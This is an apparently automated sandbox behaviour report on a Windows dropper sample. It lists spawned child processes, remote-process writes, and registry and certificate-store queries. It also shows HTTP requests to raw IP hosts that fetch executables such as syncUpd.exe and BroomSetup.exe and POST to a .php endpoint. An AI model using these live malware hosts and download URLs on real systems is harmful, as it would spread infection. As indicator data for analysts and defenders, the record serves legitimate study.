GetWindowThreadProcessId SetWindowsHookExA GetLastActivePopup GetTickCount64 GetThreadContext OutputDebugStringA84:T482,is-KQJQP.tmp has PE file in resource with name: "RT_RCDATA" and filetype:PE32+ executable (console) x86-64 for MS Windows 5 sections is-KQJQP.tmp has PE file in resource with name: "RT_RCDATA" and filetype:PE32+ executable (console) Intel Itanium for MS Windows 7 sections is-KQJQP.tmp has PE file in resource with name: "RT_RCDATA" and filetype:PE32 executable (GUI) Intel 80386 for MS Windows 3 sections is-KQJQP.tmp has PE file in resource with name: "RT_RCDATA" and filetype:PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB) for MS Windows 4 sections april.tmp has PE file in resource with name: "RT_RCDATA" and filetype:PE32+ executable (console) x86-64 for MS Windows 5 sections april.tmp has PE file in resource with name: "RT_RCDATA" and filetype:PE32+ executable (console) Intel Itanium for MS Windows 7 sections april.tmp has PE file in resource with name: "RT_RCDATA" and filetype:PE32 executable (GUI) Intel 80386 for MS Windows 3 sections april.tmp has PE file in resource with name: "RT_RCDATA" and filetype:PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB) for MS Windows 4 sections85:T506,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup_four.exe" (Handle: 1496) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe" (Handle: 1552) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\EasyAppns.exe" (Handle: 1600) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\april.exe" (Handle: 1632) "EasyAppns.exe" wrote 00000004 bytes to a remote process "C:\Users\Public\Music\EasyApp.exe" (Handle: 1240) "april.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-T5UCC.tmp\april.tmp" (Handle: 588) "april.tmp" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\flashdecompiler32.exe" (Handle: 1176) "april.tmp" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Senior Flash Decompiler\flashdecompiler32.exe" (Handle: 1180)86:T51b,Spawned process "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (UID: 00000000-00005760) Spawned process "InstallSetup_four.exe" (UID: 00000000-00008076) Spawned process "288c47bbc1871b439df19ff4df68f076.exe" (UID: 00000000-00007560) Spawned process "EasyAppns.exe" (UID: 00000000-00001560) Spawned process "april.exe" (UID: 00000000-00007680) Spawned process "april.tmp" with commandline "/SL5="$302F4 1485356 54272 %TEMP%\\april.exe"" (UID: 00000000-00007668) Spawned process "flashdecompiler32.exe" with commandline "-i" (UID: 00000000-00007224) Spawned process "EasyApp.exe" (UID: 00000000-00004644) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 7224 -ip 7224" (UID: 00000000-00001548) Spawned process "WerFault.exe" with commandline "-u -p 7224 -s 584" (UID: 00000000-00007288) Spawned process "WerFault.exe" with commandline "-u -p 7224 -s 584" (UID: 00000000-00004452) Spawned process "flashdecompiler32.exe" with commandline "-s" (UID: 00000000-00004496) Spawned process "WerFault.exe" with commandline "-pss -s 460 -p 4496 -ip 4496" (UID: 00000000-00001884) Spawned process "WerFault.exe" with commandline "-u -p 4496 -s 584" (UID: 00000000-00006740) Spawned process "WerFault.exe" with commandline "-u -p 4496 -s 584" (UID: 00000000-00000508)87:T711,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000856.00000000.66680.00493000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000856.00000000.66680.00493000.00000004.mdmp") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAlloc"; Source: "00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAllocEx"; Source: "00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp")88:T687,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002012.00000000.67237.00170000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002012.00000000.67237.00170000.00000040.mdmp") Found string "!"#$%&'()*+,-./0123@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002012.00000000.67237.00170000.00000040.mdmp"), Found string "!"#$%&'()*+ -./0123@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002012.00000000.67237.00170000.00000040.mdmp"), Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00002012.00000000.67237.00170000.00000040.mdmp"), Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00002012.00000000.67237.00170000.00000040.mdmp")89:T198c,Contains base64 string in header "four" in header "GET /cpa/ping.php?substr=four&s=ab&sub=0 HTTP/1.1Host: 185.172.128.90User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "like" in header "GET /cpa/ping.php?substr=four&s=ab&sub=0 HTTP/1.1Host: 185.172.128.90User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "6167" in header "GET /cpa/ping.php?substr=four&s=ab&sub=0 HTTP/1.1Host: 185.172.128.90User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "/syncUpd" in header "GET /syncUpd.exe HTTP/1.1Host: 185.172.128.187User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "like" in header "GET /syncUpd.exe HTTP/1.1Host: 185.172.128.187User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "6167" in header "GET /syncUpd.exe HTTP/1.1Host: 185.172.128.187User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "four" in header "GET /ping.php?substr=four HTTP/1.1Host: 185.172.128.187User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "like" in header "GET /ping.php?substr=four HTTP/1.1Host: 185.172.128.187User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "6167" in header "GET /ping.php?substr=four HTTP/1.1Host: 185.172.128.187User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "like" in header "GET /BroomSetup.exe HTTP/1.1Host: 185.172.128.126User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "6167" in header "GET /BroomSetup.exe HTTP/1.1Host: 185.172.128.126User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.161 Safari/537.36" Contains base64 string in header "POST" in header "POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.172.128.209Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.172.128.209Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.172.128.209Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.172.128.209Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "GDAAKKEHDHCAAAKFCBAKHost" in header "POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.172.128.209Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.172.128.209Content-Length: 215Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)" Contains base64 string in header "ashx" in header "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)" Contains base64 string in header "keep" in header "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)" Contains base64 string in header "aliveContent" in header "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)" Contains base64 string in header "iolo" in header "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)" Contains base64 string in header "Encoding" in header "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)" Contains base64 string in header "identityUser" in header "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)" Contains base64 string in header "Indy" in header "POST /__svc/sbv/DownloadManager.ashx HTTP/1.0Connection: keep-aliveContent-Length: 300Host: svc.iolo.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: identityUser-Agent: Mozilla/3.0 (compatible; Indy Library)"8a:T5d2,"288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name SYSTEM (UID: 00000000-00003488) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name NETWORK SERVICE (UID: 00000000-00003488) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00003488) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidA" with param Name SYSTEM (UID: 00000000-00003488) "u1s0.0.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00002012) "u1s0.1.exe" called "LookupAccountSidW" with param Name SYSTEM (UID: 00000000-00003212) "u1s0.1.exe" called "LookupAccountSidW" with param Name NETWORK SERVICE (UID: 00000000-00003212) "u1s0.1.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00003212) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name SYSTEM (UID: 00000000-00003988) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name NETWORK SERVICE (UID: 00000000-00003988) "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00003624) "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" called "LookupAccountSidW" with param Name SYSTEM (UID: 00000000-00003624) "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" called "LookupAccountSidW" with param Name NETWORK SERVICE (UID: 00000000-00003624)8b:T7a9,Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00002012.00000000.67237.00250000.00000004.mdmp, 00000000-00002012.00000001.67447.00250000.00000004.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00002012.00000000.67237.00299000.00000004.mdmp, 00000000-00002012.00000001.67447.00299000.00000004.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; Source: "00000000-00002304.00000000.66360.00170000.00000040.mdmp, 00000000-00002304.00000000.66360.00400000.00000040.mdmp, 00000000-00002304.00000001.67441.00400000.00000040.mdmp")8c:T101c,"u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "u1s0.0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")8d:Tb35,"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CERTIFICATES"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CRLS"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS"; Key: "")8e:T8a6,"SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") 